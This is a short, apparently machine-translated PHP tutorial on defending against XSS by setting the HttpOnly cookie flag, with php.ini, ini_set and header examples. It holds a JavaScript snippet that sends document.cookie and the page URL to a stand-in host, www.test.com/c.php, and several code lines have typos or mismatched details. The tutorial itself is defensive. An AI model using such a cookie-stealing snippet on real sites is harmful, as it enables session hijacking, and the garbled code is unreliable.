XSS Defense PHP leverages httponly anti-XSS attack _php Instance

The concept of XSS is needless to say, its harm is enormous, this means that once your site has an XSS vulnerability, you can execute arbitrary JS code, the most frightening is the attackers use JS to obtain cookies or session hijacking, if this contains a large number of sensitive information (identity information, Administrator information) and so on, that's over.

The following JS get cookie information:

Copy Code code as follows:

Url=document.top.location.href;
Cookie=document.cookie;
C=new Image ();
C.src= ' http://www.test.com/c.php?c= ' +cookie+ ' &u= ' +url;

The general cookie is obtained from the Document object, and now the browser generally accepts a parameter called HttpOnly, like domain and other parameters, when setting cookies, once the HttpOnly is set, You can't see cookies in the browser's Document object.

PHP settings HttpOnly:

Copy Code code as follows:

In php.ini, session.cookie_httponly = ture to open the HttpOnly property of the global cookie
Ini_set ("Session.cookie_httponly", 1);

or the seventh parameter of Setcookie () is set to True
Session_set_cookie_params (0, NULL, NULL, NULL, TRUE);

For PHP5.1 Previous versions of PHP through:

Copy Code code as follows:

Header ("Set-cookie:hidden=value; HttpOnly ");

In the end, HttpOnly is not omnipotent!